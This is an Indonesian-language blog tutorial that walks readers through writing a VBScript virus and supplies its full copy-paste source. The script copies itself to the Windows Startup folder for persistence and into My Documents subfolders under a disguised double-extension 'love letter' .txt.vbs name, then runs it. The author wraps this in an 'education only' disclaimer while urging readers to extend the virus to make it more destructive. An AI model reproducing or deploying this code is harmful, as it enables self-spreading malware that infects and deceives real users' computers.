VBS Virus bagian 1

Akhirnya sampe juga post yang satu ini..:D..
kesibukan akhir2 ini yang membuat saya kehabisan waktu untuk membuat post selanjutnya..(maklum pengacara [pengangguran banyak acara..hheheheh :)] yang sok sibuk..:P)..OK tanpa basa basi lagi kita mulai tutorial yang pertama..

TULISAN INI HANYA UNTUK PENDIDIKAN BELAKA YANG MANA TIDAK ADA UNSUR2 YANG KEJAHATAN YANG PENULIS MAKSUDKAN. UNTUK SELANJUTNYA TESERAH ANDA YANG MENENTUKAN..INGAT! KEBIJAKSANAAN ANDALAH CERMIN DARI KESEHATAN JIWA DAN PIKIRAN ANDA..:D

algoritma:
./ Memeriksa eksistensi dirinya pada starup
jika hasil null maka
copikan diri pada startup

./ Memeriksa setiap folder pada my documents eksistensi diri
copikan diri kesetiap folder my documents hingga subfolder terakhir

./ Proses berakhir

dalam algo diatas adalah jalan mudah bagi kita untuk menuliskan urutan2 yang akan kita gunakan acuan nantinya..bisa anda tulis di notepad.

Buka notepad lagi..kemudian ketikkan code berikut:
kalau anda males..(biasa saya juga sering males :P) tinggal copy paste bereskan..??

'====ketik dari REM disini====

Rem === Clara.A / VBS ===
Rem Ini adalah program virus vbs bagian pertama
Rem Dan Hanya untuk tujuan pendidikan bahwa membuat virus itu tdk se-sulit yg dbygkan
Rem Kebijaksanaan anda yang menentukan nasib dari virus ini
Rem =====================

'//* Berikut adalah tugas untuk mengkopikan ke spesial folder startup *//
'//* Berfungsi virus dpt berjalan pd saat windows booting *//

'//* Jika error lanjutkan perintah selanjutnya *//
On error resume next

'//* Deklarasi fungsi object *//
Dim FSO, Induk, WSH, Sasaran, cPath

'//* setting setiap deklarasi object *//
Set FSO = CreateObject("Scripting.FileSystemObject")
set Induk = FSO.GetFile(Wscript.ScriptFullName)
Set WSH = CreateObject("Wscript.Shell")

'//* Mendapatkan folder startup *//
Launch = WSH.SpecialFolders("Startup")

'//* Copy induk dengan nama boot.vbs *//
Induk.Copy (Launch & "\boot.vbs")

'//* Copy Induk di folder my document *//
Launch = WSH.SpecialFolders("MyDocuments")

'//* Infeksi folder my document *//
InfeksiFolder Launch

'//* Membuat Sub untuk menginfeksi Folder my document *//
Sub InfeksiFolder(cPath)
on error resume next

For Each Sasaran in FSO.GetFolder(cPath).SubFolders
Induk.Copy(Sasaran & "\Surat Cinta buat Clara.txt.vbs")
WSH.Run(Sasaran & "\Surat Cinta buat.txt.vbs")

Next

End Sub

'=======berakhir disini=======

code diatas memang sangat sedikit, tetapi proses yang lumayan panjang bro..:P.. Memang saat ini sudah banyak antivirus yang sudah mengenali virus vbs dan code ini pun tak luput dari tiupan antivius..artinya dah kedetect ya?..:P..dari code diatas, nanti akan kita buat acuan untuk code2 selanjutnya..dan akan merajuk ke pemrograman visual(Visual Basic)

boleh anda memperbarui code diatas sebatas UNTUK BELAJAR! bukan untuk merusak komputer orang lain..dengan menambahkan sedikit baris code akan tercipta virus yang semakin dahsyat..bagaimana?? Itu tugas anda selanjutnya..

disini kita sama2 belajar, jadi gak mungkinlah penulis sendiri ga ada salah, sok tau atau sok keminter(bahasa jawa) itu wajar saja..jadi anda sang pembaca yang akan meluruskan penulis..OK?

salam dari saya.. Mohon maaf jika salah..

nb:kirimkan kritik, saran, cacian, makian terdahsyat anda...:D